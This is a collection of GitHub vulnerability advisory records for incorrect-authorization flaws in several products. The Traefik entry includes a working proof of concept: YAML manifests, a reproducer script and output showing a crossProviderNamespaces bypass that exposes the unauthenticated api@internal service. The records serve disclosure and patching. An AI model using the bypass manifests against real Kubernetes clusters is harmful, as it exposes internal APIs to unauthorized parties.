CWE-863

{
  "affected": [],
  "aliases": [
    "CVE-2025-24420"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-11T18:15:43Z",
    "severity": "MODERATE"
  },
  "details": "Adobe Commerce versions 2.4.7-beta1, 2.4.7-p3, 2.4.6-p8, 2.4.5-p10, 2.4.4-p11 and earlier are affected by an Incorrect Authorization vulnerability that could result in a security feature bypass. A low-privileged attacker could exploit this vulnerability to perform actions with permissions that were not granted. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-3fgj-qpvr-j8qg",
  "modified": "2025-02-11T18:31:41Z",
  "published": "2025-02-11T18:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24420"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb25-08.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-27661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-01T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "Successful exploitation of this vulnerability could give an authenticated Facility Explorer SNC Series Supervisory Controller (F4-SNC) user an unintended level of access to the controller\u2019s file system, allowing them to access or modify system files by sending specifically crafted web messages to the F4-SNC.",
  "id": "GHSA-3fjw-3ffh-wrxh",
  "modified": "2024-04-04T03:09:33Z",
  "published": "2022-05-24T22:28:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27661"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-182-01"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.gov/ics/advisories"
    },
    {
      "type": "WEB",
      "url": "https://www.johnsoncontrols.com/cyber-solutions/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-20136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-01T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "ManageEngine Log360 Builds \u003c 5235 are affected by an improper access control vulnerability allowing database configuration overwrite. An unauthenticated remote attacker can send a specially crafted message to Log360 to change its backend database to an attacker-controlled database and to force Log360 to restart. An attacker can leverage this vulnerability to achieve remote code execution by replacing files executed by Log360 on startup.",
  "id": "GHSA-3fq5-562h-h369",
  "modified": "2022-07-13T00:01:04Z",
  "published": "2022-05-24T19:19:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20136"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2021-48"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2011-1207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-05-05T02:39:00Z",
    "severity": "HIGH"
  },
  "details": "The ActiveBar1 ActiveX control in the Data Dynamics ActiveBar ActiveX controls, as distributed in ActBar.ocx 1.0.6.5 in IBM Rational System Architect 11.4.0.2, 11.4.0.1, and earlier, does not properly restrict the SetLayoutData method, which allows remote attackers to execute arbitrary code via a crafted Data argument, a different vulnerability than CVE-2007-3883.  NOTE: some of these details are obtained from third party information.",
  "id": "GHSA-3fqj-ghhc-c98j",
  "modified": "2022-05-17T05:41:12Z",
  "published": "2022-05-17T05:41:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-1207"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/docview.wss?uid=swg21497689"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/43399"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/43474"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1025464"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/47643"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/1129"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-41325"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-30T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Broken access control for user creation in Pydio Cells 2.2.9 allows remote anonymous users to create standard users via the profile parameter. (In addition, such users can be granted several admin permissions via the Roles parameter.)",
  "id": "GHSA-3frq-wgwx-p958",
  "modified": "2022-07-13T00:01:41Z",
  "published": "2022-05-24T19:16:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41325"
    },
    {
      "type": "WEB",
      "url": "https://charonv.net/Pydio-Broken-Access-Control"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydio/cells/releases/tag/v2.2.12"
    },
    {
      "type": "WEB",
      "url": "https://pydio.com/fr/community/releases/pydio-cells/pydio-cells-enterprise-2212"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-7974"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-02T20:15:37Z",
    "severity": "LOW"
  },
  "details": "rocket.chat Incorrect Authorization Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of rocket.chat. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the web service, which listens on TCP port 3000 by default. The issue results from incorrect authorization. An attacker can leverage this vulnerability to disclose information in the context of the application. Was ZDI-CAN-26517.",
  "id": "GHSA-3fwv-m349-pfjm",
  "modified": "2025-09-02T21:30:58Z",
  "published": "2025-09-02T21:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7974"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-627"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-24233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-31T23:15:20Z",
    "severity": "CRITICAL"
  },
  "details": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Ventura 13.7.5, macOS Sequoia 15.4, macOS Sonoma 14.7.5. A malicious app may be able to read or write to protected files.",
  "id": "GHSA-3g2g-jmh9-pfcp",
  "modified": "2025-11-03T21:33:19Z",
  "published": "2025-04-01T00:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24233"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122373"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122374"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122375"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/10"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/8"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-45956"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-12T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Boa Web Server versions 0.94.13 through 0.94.14 fail to validate the correct security constraint on the HEAD HTTP method allowing everyone to bypass the Basic Authorization mechanism.",
  "id": "GHSA-3g3q-575c-4343",
  "modified": "2022-12-15T21:30:31Z",
  "published": "2022-12-12T15:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45956"
    },
    {
      "type": "WEB",
      "url": "https://packetstormsecurity.com/files/169962/Boa-Web-Server-0.94.13-0.94.14-Authentication-Bypass.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-15826"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-08T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains TeamCity before 2020.1, users are able to assign more permissions than they have.",
  "id": "GHSA-3g62-9qpr-j338",
  "modified": "2022-05-24T17:25:08Z",
  "published": "2022-05-24T17:25:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15826"
    },
    {
      "type": "WEB",
      "url": "https://blog.jetbrains.com"
    },
    {
      "type": "WEB",
      "url": "https://blog.jetbrains.com/blog/2020/08/06/jetbrains-security-bulletin-q2-2020"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.20"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.11.50"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0-ea.1"
            },
            {
              "fixed": "3.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54761"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:01:48Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s Kubernetes Gateway provider affecting the `crossProviderNamespaces` allowlist. For `HTTPRoute` rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target `backendRef.namespace` instead of the route\u0027s own namespace. As a result, an `HTTPRoute` created in a namespace that is not allow-listed can reference a cross-provider `TraefikService` such as `api@internal`, `dashboard@internal` or `rest@internal` by pointing `backendRef.namespace` at an allow-listed namespace covered by a Gateway API `ReferenceGrant`, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted `HTTPRoute` and a matching `ReferenceGrant` from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.21\n- https://github.com/traefik/traefik/releases/tag/v3.7.5\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Summary\n\nThe Kubernetes Gateway provider\u0027s `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs.\n\nFor `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference.\n\nVerified affected versions:\n\n- `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`)\n- current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`)\n\n# Expected Behavior\n\nWith:\n\n```yaml\nproviders:\n  kubernetesGateway:\n    crossProviderNamespaces:\n      - trusted\n```\n\nonly Gateway API routes whose own namespace is `trusted` should be allowed to declare `TraefikService` backendRefs such as `api@internal`, `dashboard@internal`, or `rest@internal`.\n\nAn `HTTPRoute` in namespace `attacker` should not be able to expose an internal Traefik service by setting:\n\n```yaml\nbackendRefs:\n  - group: traefik.io\n    kind: TraefikService\n    name: api@internal\n    namespace: trusted\n```\n\n# Actual Behavior\n\nFor an `HTTPRoute` in namespace `attacker` with two backendRefs, Traefik generates a WRR service containing:\n\n```text\n[api@internal attacker-whoami-http-80]\n```\n\neven though `crossProviderNamespaces` only allows `trusted`.\n\n# Threat Model\n\nThis does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider\u0027s `crossProviderNamespaces` policy: namespaces outside the allowlist should not be able to declare cross-provider `TraefikService` backendRefs.\n\nThe precondition is a Gateway API environment where an untrusted or less-trusted namespace can create `HTTPRoute` objects accepted by a Gateway, and a namespace in the `crossProviderNamespaces` allowlist has a matching `ReferenceGrant`. `ReferenceGrant` should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik\u0027s separate provider-level namespace allowlist for cross-provider internal services.\n\nA Gateway API `ReferenceGrant` should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik\u0027s `crossProviderNamespaces` option is an additional Traefik-specific security control for cross-provider `TraefikService` backendRefs, especially `@internal` services. Therefore a `ReferenceGrant` from `trusted` must not make a route in `attacker` equivalent to a route whose own namespace is `trusted`.\n\n# Required Attacker Capability\n\nRequired:\n\n- create or modify an `HTTPRoute` in namespace `attacker`;\n- have that `HTTPRoute` accepted by a `Gateway`;\n- rely on an existing `ReferenceGrant` from an allow-listed namespace, or on a delegated namespace setup where such `ReferenceGrant` objects are managed separately from Traefik\u0027s provider configuration.\n\nNot required:\n\n- modifying Traefik static configuration;\n- modifying the Traefik deployment or Traefik RBAC;\n- modifying resources in the Traefik deployment namespace;\n- modifying `providers.kubernetesGateway.crossProviderNamespaces`;\n- enabling `api.insecure`;\n- exposing the dashboard/API entrypoint directly.\n\n# Documentation Evidence\n\nThe documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in `backendRef.namespace`.\n\nThe Kubernetes Gateway provider option is documented as:\n\n```text\nList of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.\n```\n\nThe migration notes also describe the security reason for the option:\n\n```text\nthose references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.\n```\n\nand the documented behavior is:\n\n```text\n[\"ns-a\"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.\n```\n\nThe provider struct uses the same route-namespace wording:\n\n```go\nCrossProviderNamespaces []string `description:\"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references.\" ...`\n```\n\nThe reproduced route kind is `HTTPRoute`; no Gateway API experimental-channel resources are required for the PoC.\n\n# PoC\n\nI validated the issue end-to-end in a local `kind` cluster with Traefik `v3.7.1`, real Gateway API CRDs, real Kubernetes `Gateway`, `HTTPRoute`, and `ReferenceGrant` resources, and HTTP requests to Traefik\u0027s normal `web` entrypoint.\n\nThe complete local reproducer I used is a self-contained `kind` PoC with these files:\n\n```text\nexternal-repro-kind/kind-config.yaml\nexternal-repro-kind/traefik-v371.yaml\nexternal-repro-kind/gateway-exploit.yaml\nexternal-repro-kind/run-kind-repro.sh\n```\n\nRun command:\n\n```bash\n./external-repro-kind/run-kind-repro.sh\n```\n\nThe script creates a local `kind` cluster, loads local `traefik:v3.7.1` and `traefik/whoami:v1.11.0` images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit `curl` requests to `127.0.0.1:18080`, prints route status, and deletes the cluster on exit.\n\nTraefik was started with:\n\n```text\n--api=true\n--api.dashboard=true\n--api.insecure=false\n--providers.kubernetesgateway=true\n--providers.kubernetesgateway.crossprovidernamespaces=trusted\n```\n\nThe local host entrypoint was:\n\n```text\n127.0.0.1:18080 -\u003e kind NodePort -\u003e Traefik web entrypoint\n```\n\nThe target namespace has a normal Gateway API `ReferenceGrant`:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1beta1\nkind: ReferenceGrant\nmetadata:\n  name: allow-attacker-to-traefikservice\n  namespace: trusted\nspec:\n  from:\n    - group: gateway.networking.k8s.io\n      kind: HTTPRoute\n      namespace: attacker\n  to:\n    - group: traefik.io\n      kind: TraefikService\n```\n\nPositive control:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: single-backend-control\n  namespace: attacker\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: default\n  hostnames:\n    - control.localhost\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /api\n      backendRefs:\n        - group: traefik.io\n          kind: TraefikService\n          name: api@internal\n          namespace: trusted\n          port: 80\n          weight: 1\n```\n\nBypass:\n\n```yaml\napiVersion: gateway.networking.k8s.io/v1\nkind: HTTPRoute\nmetadata:\n  name: mixed-backend-bypass\n  namespace: attacker\nspec:\n  parentRefs:\n    - name: shared-gateway\n      namespace: default\n  hostnames:\n    - exploit.localhost\n  rules:\n    - matches:\n        - path:\n            type: PathPrefix\n            value: /api\n      backendRefs:\n        - group: traefik.io\n          kind: TraefikService\n          name: api@internal\n          namespace: trusted\n          port: 80\n          weight: 1000000\n        - group: \"\"\n          kind: Service\n          name: whoami\n          port: 80\n          weight: 1\n```\n\nObserved external result:\n\n```text\ncontrol: single-backend route from attacker namespace should not expose api@internal\ncontrol status: 404\n404 page not found\n\nexploit: mixed backendRef route from attacker namespace exposes api@internal\nexploit returned Traefik API JSON\napi@internal status: enabled\nweighted members:\napi@internal              1000000\nattacker-whoami-http-80  1\n```\n\nThe `HTTPRoute` status shows the boundary difference:\n\n```text\nsingle-backend-control:\n  Accepted=True\n  ResolvedRefs=False\n  Reason=RefNotPermitted\n  Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace \"attacker\" is not in crossProviderNamespaces\n\nmixed-backend-bypass:\n  Accepted=True\n  ResolvedRefs=True\n```\n\nThis is the externally visible security failure: the same route namespace and same `api@internal` backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.\n\n## Minimized Root Cause Test\n\nI also created a provider-level regression test using Traefik\u0027s fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external `kind` PoC above is the primary impact reproduction.\n\nFiles:\n\n- `probe/crossprovider_namespace_probe_test.go`\n- `probe/cross_provider_namespace_probe.yml`\n- `probe/cross_provider_namespace_single_control.yml`\n\nReproduction:\n\n```bash\ncp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/\ncp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/\ngo test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v\n```\n\nObserved output on both tested versions:\n\n```text\nMessages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]\n```\n\nThe reproducer also includes a positive control:\n\n```text\n=== RUN   TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\n```\n\nThat control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.\n\n# Root Cause\n\nThe single-internal-service path checks the route namespace:\n\n```go\ncase len(routeRule.BackendRefs) == 1 \u0026\u0026 isInternalService(routeRule.BackendRefs[0].BackendRef):\n    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {\n```\n\nThe mixed/multiple backendRef path calls `loadService`. In `loadService`, `namespace` is overwritten from `backendRef.Namespace`, then passed to `loadHTTPBackendRef`:\n\n```go\nnamespace := route.Namespace\nif backendRef.Namespace != nil \u0026\u0026 *backendRef.Namespace != \"\" {\n    namespace = string(*backendRef.Namespace)\n}\n...\nname, service, err := p.loadHTTPBackendRef(namespace, backendRef)\n```\n\n`loadHTTPBackendRef` then checks `crossProviderNamespaces` against this target namespace:\n\n```go\nif *backendRef.Kind == \"TraefikService\" \u0026\u0026 strings.Contains(string(backendRef.Name), \"@\") {\n    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {\n```\n\nThis lets a disallowed route namespace choose an allow-listed target namespace and pass the check.\n\n# Impact\n\nAn untrusted route namespace may expose internal Traefik services through Gateway `HTTPRoute` despite being excluded from `crossProviderNamespaces`.\n\nPotentially exposed internal services include:\n\n- `api@internal`\n- `dashboard@internal`\n- `rest@internal`\n\nThis is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway `ReferenceGrant` delegation is used, but the observed behavior violates the documented security boundary of `crossProviderNamespaces`.\n\nI also validated the concrete impact of the generated service graph in the local lab. The lab\u0027s intended safe baseline has the dashboard/API protected on the dashboard entrypoint:\n\n```text\nHost: dashboard.localhost -\u003e dashboard entrypoint /api/rawdata =\u003e 401 Unauthorized\nHost: dashboard.localhost -\u003e web entrypoint /api/rawdata =\u003e 404 Not Found\n```\n\nWhen a router on the normal web entrypoint references `api@internal`, the same API endpoint becomes unauthenticated:\n\n```text\nHost: impact-crossprovider.localhost -\u003e web entrypoint /api/rawdata =\u003e 200 OK\nservice: api@internal\n```\n\nA WRR service containing `api@internal` also exposes the API:\n\n```text\nHost: impact-crossprovider-wrr.localhost -\u003e web entrypoint /api/rawdata =\u003e 200 OK\nweighted services:\napi@internal 1000\necho-svc      1\n```\n\nThis is the security consequence of the provider bug: a namespace that should be blocked by `crossProviderNamespaces` can make Traefik generate a service graph containing `api@internal` on a route it controls.\n\n# Suggested Fix\n\nFor Gateway `HTTPRoute` `TraefikService` cross-provider backendRefs, validate `crossProviderNamespaces` against `route.Namespace` in all code paths, including mixed/WRR backendRefs.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-3g6v-2r68-prfc",
  "modified": "2026-06-17T14:01:48Z",
  "published": "2026-06-17T14:01:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-3g6v-2r68-prfc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.21"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: Kubernetes Gateway crossProviderNamespaces bypass allows HTTPRoute outside the allowlist to expose internal Traefik services"
}